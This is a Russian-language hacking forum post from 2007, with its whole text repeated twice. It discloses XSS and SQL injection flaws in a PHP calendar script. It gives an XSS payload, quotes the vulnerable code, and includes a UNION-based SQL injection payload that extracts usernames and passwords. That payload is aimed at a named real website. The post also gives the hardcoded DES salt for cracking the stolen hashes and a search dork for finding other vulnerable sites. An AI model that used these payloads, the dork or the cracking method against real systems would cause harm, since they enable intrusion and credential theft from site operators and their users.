1ten0.0net1
01.09.2007, 17:20
Уязвимости подвержены многие версии, от версии к версии разнится только структура SQL запроса.
1. XSS
Пассивные XSS существует во многих параметрах, например, в $month :
calendar.php?month="><script>alert(/XSS/)</script>
Пример уязвимого кода в calendar.php
echo "<a href='Javascript:void(0);' onclick=\"Javascript:wopen('cal_addevent.php?op=eventform&add_day=$i&add_month=$month&add_year=$year&catview=$catview','popupwin',".$addeventwin_w.",".$addeventwin_h.",'yes');\"><img src='images/plus.gif' alt='".translate("Add Event")."' border=0 valign=middle width=11 height=11/></a>" ;
2. SQL-inject
Уязвимость существует из-за плохой фильтрации значений переменной $catview (значение переменной должно быть ненулевым!!!)
$query = "select id,user,title,starttime,endtime from ".$EVENTS_TB." left join ".$CAT_TB." on ".$EVENTS_TB.".cat=".$CAT_TB.".cat_id where day='$i' and month='$month' and year='$year' and approved='1' " ;
if ($catview!=0) $query = $query." and ".$EVENTS_TB.".cat=$catview " ;
Инъекция в переменных $month; $year невозможна, т. к. скрипт сам задает дипазон значений этих переменных.
Пример:
http://www.3ringcircusproductions.com/calendar/calendar.php
POST:
catview=2+and+(0=1)+union+select+11,22,concat(user name,char(58),password),4,5+from+calendar_users--
P. S. Префикс таблицы по умолчанию calendar_
Кол-во колонок в запросе меняется от версии к версии.
Пароли пользователей шифруются по следющему алгоритму:
$login = preg_replace("/[';]/", "", $login);
Кстати, в ранних версиях, это можно было обойти при помощи URI-кодировки ('~%27)
$crypt = "we6c21end2r4u" ;
$cryptpas = crypt($password,$crypt);
то есть криптует по DES алгоритму с использованием соли.
На сколько я знаю, PassWord Pro может работать с солью. Если же я ошибаюсь, то можно написать маленький php-брутфорсер, читающий файл словаря, криптующий по этому же алгоритму каждую строчку и сравнивающую с существующим хешем. Только стоит ли... )
dork: inurl:yearcal.php intitle:Calendar
1. XSS
Пассивные XSS существует во многих параметрах, например, в $month :
calendar.php?month="><script>alert(/XSS/)</script>
Пример уязвимого кода в calendar.php
echo "<a href='Javascript:void(0);' onclick=\"Javascript:wopen('cal_addevent.php?op=eventform&add_day=$i&add_month=$month&add_year=$year&catview=$catview','popupwin',".$addeventwin_w.",".$addeventwin_h.",'yes');\"><img src='images/plus.gif' alt='".translate("Add Event")."' border=0 valign=middle width=11 height=11/></a>" ;
2. SQL-inject
Уязвимость существует из-за плохой фильтрации значений переменной $catview (значение переменной должно быть ненулевым!!!)
$query = "select id,user,title,starttime,endtime from ".$EVENTS_TB." left join ".$CAT_TB." on ".$EVENTS_TB.".cat=".$CAT_TB.".cat_id where day='$i' and month='$month' and year='$year' and approved='1' " ;
if ($catview!=0) $query = $query." and ".$EVENTS_TB.".cat=$catview " ;
Инъекция в переменных $month; $year невозможна, т. к. скрипт сам задает дипазон значений этих переменных.
Пример:
http://www.3ringcircusproductions.com/calendar/calendar.php
POST:
catview=2+and+(0=1)+union+select+11,22,concat(user name,char(58),password),4,5+from+calendar_users--
P. S. Префикс таблицы по умолчанию calendar_
Кол-во колонок в запросе меняется от версии к версии.
Пароли пользователей шифруются по следющему алгоритму:
$login = preg_replace("/[';]/", "", $login);
Кстати, в ранних версиях, это можно было обойти при помощи URI-кодировки ('~%27)
$crypt = "we6c21end2r4u" ;
$cryptpas = crypt($password,$crypt);
то есть криптует по DES алгоритму с использованием соли.
На сколько я знаю, PassWord Pro может работать с солью. Если же я ошибаюсь, то можно написать маленький php-брутфорсер, читающий файл словаря, криптующий по этому же алгоритму каждую строчку и сравнивающую с существующим хешем. Только стоит ли... )
dork: inurl:yearcal.php intitle:Calendar